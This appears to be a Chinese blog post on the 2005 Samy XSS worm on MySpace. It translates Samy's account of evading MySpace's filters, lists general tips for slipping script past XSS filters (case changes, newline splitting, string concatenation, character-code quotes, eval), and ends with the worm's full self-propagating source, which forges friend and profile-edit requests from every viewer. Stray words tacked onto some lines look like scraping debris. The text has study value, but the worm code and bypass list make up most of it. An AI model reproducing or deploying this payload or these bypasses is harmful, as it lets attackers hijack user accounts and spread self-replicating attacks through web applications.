Samy XSS Worm之源碼講解

說到Web安全和XSS跨站腳本技術,幾乎全部的書都會提到Samy Worm,這是在2005年感染了mySpace社交網絡上百萬用戶的蠕蟲。正如Morris蠕蟲是互聯網第一個蠕蟲, Samy Worm則是第一個XSS的蠕蟲。所以研究XSS技術最好了解一下這個只要瀏覽了profile就自動把對方加爲好友並列爲偶像的代碼的實現技術。javascript

如下是根據對Samy Worm分析的文章進行的大體翻譯:html

1)  Myspace阻塞了大量的tags,實際上他們僅容許<a>,<img>,<div>這些,或者還有少數其餘標籤如<embed>。<script>,<body>,onSomething,href等Javascript元素全都被禁用了。然而,有些瀏覽器如IE容許在CSS標籤中插入javascript:
<div style= "background:url('javascript:alert(1)')">
2)    在div中不能使用引號,由於標籤裏面默認就有單引號和雙引號了(<div id="variable">)。這使得編碼JS有點困難,爲了作到這一點,能夠用一個表達式存儲JS代碼,而後經過變量引用使其執行
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3)  以上兩步後,如今能夠在單引號裏面放入javascript代碼了,可是mySpace對javascript單詞進行了嚴格的過濾,根本沒法使用. 幸運的是,有些瀏覽器會將"java\nscript"解釋爲"javascript"(實際上javascript的語法說若是沒有分號,解析引擎會判 斷是否有完整的語境,所以空格,TAB應該也能夠)
<div id="mycode" expr="alert(hah!)" style="background:url('java
script:eval(document.all.mycode.expr)')">
4)如今單引號已經可使用了,可是咱們有時候可能會須要雙引號.咱們須要對引號進行轉義,然而,mySpace去掉了全部的轉義的引號,不管是單引號仍是雙引號.但咱們仍是有辦法,咱們能夠將整數轉爲ASCII,這樣就能生成引號了
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">
5)    爲了將代碼發到用正在看它的戶空間中,還須要得到頁面的source. 可使用document.body.innerHTML得到頁面到的source,可是mySpace此次又把"innerHTML"去掉了,只能經過把兩個字符串拼接成一個字符串
alert(eval('document.body.inne' + 'rHTML'))
6)    是時候訪問其餘頁面了,可使用iframes,可是一般iframes並非頗有用,並且用戶容易發現有其餘的東西在執行
所以使用Ajax製造客戶端的HTTP GETS和POSTS. 老樣子,mySpace去掉了"onreadystatechange", 而這個單詞對於XML-HTTP請求來講是必要的,仍是使用上面的方法
eval('xmlhttp.onread' + 'ystatechange = callback');
7)    如今能夠經過GET請求得到他們當前的偶像列表,這裏咱們不須要移除任何人,只需把本身添加到已經存在的偶像列表中. 若是能夠得到其餘人的profile,就能夠抓取他們的偶像並存儲以備後用. 上面的都搞定以後,接下來的就簡單了,除了咱們還必須得到正則瀏覽profile的用戶的friend ID,就像上面已經說到的,能夠經過抓取頁面的source得到這個.所以如今要搜索整個頁面查找某個單詞.可是搜索時還有一個問題,有可能會由於搜到包 含這個詞的普通代碼而結束查詢,這個結果不是咱們想看到的. 所以,仍是要經過字符串的合併來解決這個問題
var index = html.indexOf('frien' + 'dID');
8)    到如今爲止,咱們已經得到了偶像列表. 首先,在addFriends頁面經過XML-HTTP POST先把本身添加爲好友. 可是不行,爲何呢?由於咱們目前所處的是profile.myspace.com,而發送POST須要在www.myspace.com. 雖然XML-HTTP不容許GETs/POSTs給不一樣的域名,但這並非問題. 咱們能夠訪問www.myspace.com上的相同URL,在上面瀏覽profiles,重載這個域名上咱們想發送POST的頁面
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
9)    如今咱們已經成功的發送了POST,問題是儘管咱們成功作到了這一點可是卻沒有添加friends.爲何?myspace在pre-POST頁面生成 了一個隨機的hash(例如:"你肯定要加這個用戶爲好友嗎"的頁面). 若是這個hash沒有和POST一塊兒經過,POST就不成功. 爲了繞過去,咱們僞造了一個瀏覽器並在添加用戶以前發送了一個GET請求,解析hash的來源,而後發送POST
10)一旦POST完成了,咱們想添加一個hero和用於傳播的代碼.該代碼可能會運行到相同的頁面,因此咱們只要POST一次就夠了.然而爲了得到一個 新的hash,咱們須要pre-GET一個頁面. 可是首先咱們得再次生成想要POST的代碼.最簡單的方法是抓取咱們所在profile頁面的源代碼,解析出代碼而後POST. 這確實管用,除了如今全部東西的排序混亂不堪. 呃,爲了恰如其分的POST咱們須要URL-encode/escape實際的代碼. 奇怪的是,仍然不起做用.顯然javascript的URL-encoding和escape()函數並無轉義全部咱們須要的東西,所以須要手動地作一 些替換以進行必要的轉義. 加上"but most of all, samy is my hero."進行混合,在後面加上全部的代碼。如今咱們就有了self-reproducing的代碼了,一個蠕蟲11)還有其餘限制,如最大長度等問題,要求使用緊密的代碼,沒有空格,使人困惑的名字和可重用的函數等java

上述即是在mySpace修補了漏洞以後給出來的分析,視角是第一人稱,原文地址:http://namb.la/popular/tech.html程序員

事 實上namb.la就是Samy的博客,爲了讓更多的人把本身加爲好友,Samy顯然作了很多工做,能夠看出來第一:mySpace的過濾作得是很嚴謹 的,可是天下沒有不透風的牆,只要是人寫出來的代碼就沒有絕對的安全;第二,Samy的這個蠕蟲實際上是惡做劇性質的,它會給網絡帶來很大的負擔,但幸運的 是他並無用它來竊取用戶信息,不然帶來的危害遠大於此express

總結一下,爲了防止XSS攻擊,如今的網站都作了防護措施,會對javascript,<script>,alert,"",'',onClick, onLoad等進行嚴格的過濾。所以,像書上介紹說onClick =瀏覽器

function{alert('XSS')} 等這種用來發掘XSS漏洞的方法可能不太適用了。可是javascript很是靈活,再完備的XSS filter因爲程序員的經歷有限或者性能功能上的限制不必定能徹底防止XSS,所以出現了CSP,Http-Only等應對跨站腳本的措施。安全

在Samy的例子中,Samy利用了CSS中能夠插入javascript這一條件,加上javascript對於字符串的靈活拼接等,成功的繞過了很多限制網絡

1.嘗試在tags中使用javascript代碼,如div,style等,也能夠在利用標籤中的expression進行利用,這裏說的expression並非上面的expr,而是在標籤中相似於函數的東西app

2.單引號、雙引號被過濾或沒法使用能夠經過變量賦值,整數轉ASCII,html編碼等手段繞過函數

3.script等單詞被過濾能夠試下大小寫如:JaVaScript,或者空格、換行符如:java  SCript,還能夠進行字符串拼接:'jav'+'as'+'cript'固然還有像上面說到的編碼等方法繞過

4.alert平時較多的用來驗證XSS的存在,實際上可能常常要用到另外一個函數:eval(),執行裏面的語句

5.URL-encode/escape、XMLHTTPRequest等也要歸入考慮範圍,儘管javascript及DOM對http header不可控,可是對於可控制的代碼如GET請求的參數、POST的數據咱們能夠充分利用

6.碰到代碼長度限制可讓代碼緊縮,去除空格,構造可重用函數,也可使用代碼壓縮技術壓縮代碼,若是是對某一條語句進行了嚴格的長度限制如長度不超過28,就須要不斷對代碼進行精簡了,可能要用到其餘的一些技術,能夠看一下luoluo的 突破XSS字符數量限制執行任意JS代碼

7.跨站技術豐富多彩,這裏只根據上面的分析作了下小小的小結,更多的方法還須要本身去探索和掌握

下面是整理排版後的Samy Worm的代碼,取自:http://www.gnucitizen.org/blog/wormx/

另外若是感興趣的話也能夠研究一下:百度XSS Worm,Yamanner Worm,前者是幾年前百度空間感染的蠕蟲,後者是針對yahoo的

複製代碼
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);
    var A=String.fromCharCode(39);
    
    function g()
    {
        var C;
        try
        {
            var D=document.body.createTextRange();
            C=D.htmlText
        }
        catch(e){}

        if(C)
        {
            return C
        }
        else
        {
            return eval('document.body.inne'+'rHTML')
        }
    }

    function getData(AU)
    {
        M=getFromURL(AU,'friendID');
        L=getFromURL(AU,'Mytoken')
    }

    function getQueryParams()
    {
        var E=document.location.search;
        var F=E.substring(1,E.length).split('&');
        var AS=new Array();

        for(var O=0;O<F.length;O++)
        {
            var I=F[O].split('=');
            AS[I[0]]=I[1]
        }
        return AS
    }

    var J;
    var AS=getQueryParams();
    var L=AS['Mytoken'];
    var M=AS['friendID'];

    if(location.hostname=='profile.myspace.com')
    {
        document.location='http://www.myspace.com'+location.pathname+location.search
    }
    else
    {
        if(!M)
        {
            getData(g())
        }
        main()
    }

    function getClientFID()
    {
        return findIn(g(),'up_launchIC( '+A,A)
    }

    function nothing() {}

    function paramsToString(AV)
    {
        var N=new String();
        var O=0;
        for(var P in AV)
        {
            if(O>0)
            {
                N+='&'
            }
            var Q=escape(AV[P]);

            while(Q.indexOf('+')!=-1)
            {
                Q=Q.replace('+','%2B')
            }

            while(Q.indexOf('&')!=-1)
            {
                Q=Q.replace('&','%26')
            }

            N+=P+'='+Q;
            O++
        }
        return N
    }

    function httpSend(BH,BI,BJ,BK)
    {
        if(!J)
        {return false}

        eval('J.onr'+'eadystatechange=BI');
        J.open(BJ,BH,true);
        if(BJ=='POST')
        {
            J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            J.setRequestHeader('Content-Length',BK.length)
        }

        J.send(BK);
        return true
    }

    function findIn(BF,BB,BC)
    {
        var R=BF.indexOf(BB)+BB.length;
        var S=BF.substring(R,R+1024);
        return S.substring(0,S.indexOf(BC))
    }

    function getHiddenParameter(BF,BG)
    {
        return findIn(BF,'name='+B+BG+B+' value='+B,B)
    }

    function getFromURL(BF,BG)
    {    
        var T;
        if(BG=='Mytoken')
        {T=B}
        else
        {T='&'}

        var U=BG+'=';
        var V=BF.indexOf(U)+U.length;
        var W=BF.substring(V,V+1024);
        var X=W.indexOf(T);
        var Y=W.substring(0,X);
        return Y
    }

    function getXMLObj()
    {
        var Z=false;
        if(window.XMLHttpRequest)
        {
            try
            {
                Z=new XMLHttpRequest()
            }
            catch(e)
            {Z=false}
        }

        else if(window.ActiveXObject)
        {
            try{
                Z=new ActiveXObject('Msxml2.XMLHTTP')
            }
            catch(e)
            {
                try
                {
                    Z=new ActiveXObject('Microsoft.XMLHTTP')
                }
                catch(e)
                {
                    Z=false
                }
            }
        }

        return Z
    }

    var AA=g();
    var AB=AA.indexOf('m'+'ycode');
    var AC=AA.substring(AB,AB+4096);
    var AD=AC.indexOf('D'+'IV');
    var AE=AC.substring(0,AD);
    var AF;

    if(AE)
    {
        AE=AE.replace('jav'+'a',A+'jav'+'a');
        AE=AE.replace('exp'+'r)','exp'+'r)'+A);
        AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
    }

    var AG;

    function getHome()
    {
        if(J.readyState!=4)
        {return}

        var AU=J.responseText;
        AG=findIn(AU,'P'+'rofileHeroes','</td>');
        AG=AG.substring(61,AG.length);

        if(AG.indexOf('samy')==-1)
        {
            if(AF)
            {
                AG+=AF;
                var AR=getFromURL(AU,'Mytoken');
                var AS=new Array();
                AS['interestLabel']='heroes';
                AS['submit']='Preview';
                AS['interest']=AG;
                J=getXMLObj();

                httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
            }
        }
    }

    function postHero()
    {
        if(J.readyState!=4)
        {return}

        var AU=J.responseText;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();AS['interestLabel']='heroes';
        AS['submit']='Submit';
        AS['interest']=AG;
        AS['hash']=getHiddenParameter(AU,'hash');

        httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }

    function main()
    {
        var AN=getClientFID();
        var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
        J=getXMLObj();
        httpSend(BH,getHome,'GET');
        xmlhttp2=getXMLObj();

        httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
    }

    function processxForm()
    {
        if(xmlhttp2.readyState!=4)
        {return}

        var AU=xmlhttp2.responseText;
        var AQ=getHiddenParameter(AU,'hashcode');
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['hashcode']=AQ;
        AS['friendID']='11851658';
        AS['submit']='Add to Friends';

        httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }

    function httpSend2(BH,BI,BJ,BK)
    {
        if(!xmlhttp2)
        {
        return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
        xmlhttp2.open(BJ,BH,true);

        if(BJ=='POST')
        {
            xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp2.setRequestHeader('Content-Length',BK.length)
        }
        
        xmlhttp2.send(BK);
        return true
    } "></DIV>
複製代碼
相關文章
相關標籤/搜索